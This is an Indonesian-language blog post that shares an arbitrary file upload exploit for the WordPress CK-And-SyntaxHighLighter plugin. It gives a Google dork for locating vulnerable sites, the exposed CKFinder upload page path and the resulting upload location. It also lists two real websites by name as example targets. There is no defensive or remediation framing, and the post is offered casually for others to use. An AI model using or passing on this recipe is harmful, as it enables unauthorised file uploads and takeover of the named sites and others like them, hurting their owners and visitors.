WordPress CK-And-SyntaxHighLighter Arbitrary File Upload

Assalamualaikum wr.wb

Setelah tadi ane share exploit joomla com_sexycontactform,

kali ini ane mau share :

WordPress CK-And-SyntaxHighLighter Arbitrary File Upload

 

dari pada panjang lebar langsung aja deh ya  ..

www.synchronizer.tk

Google Dork :  

inurl:/wp-content/plugins/ck-and-syntaxhighlighter/

Exploit Path :  

/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html

Example Exploit Path :

http:///www.[target].com/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html

File Upload Path :

http://www.[target].com/wp-content/uploads/ckfinder/files/x.txt

Example Targets :

http://www.tourgueniev.fr/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html
http://www.neihuecc.org/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html

Gak susah kan bro ..
Sekian :P

Wassalamualaikum wr.wb

Tweet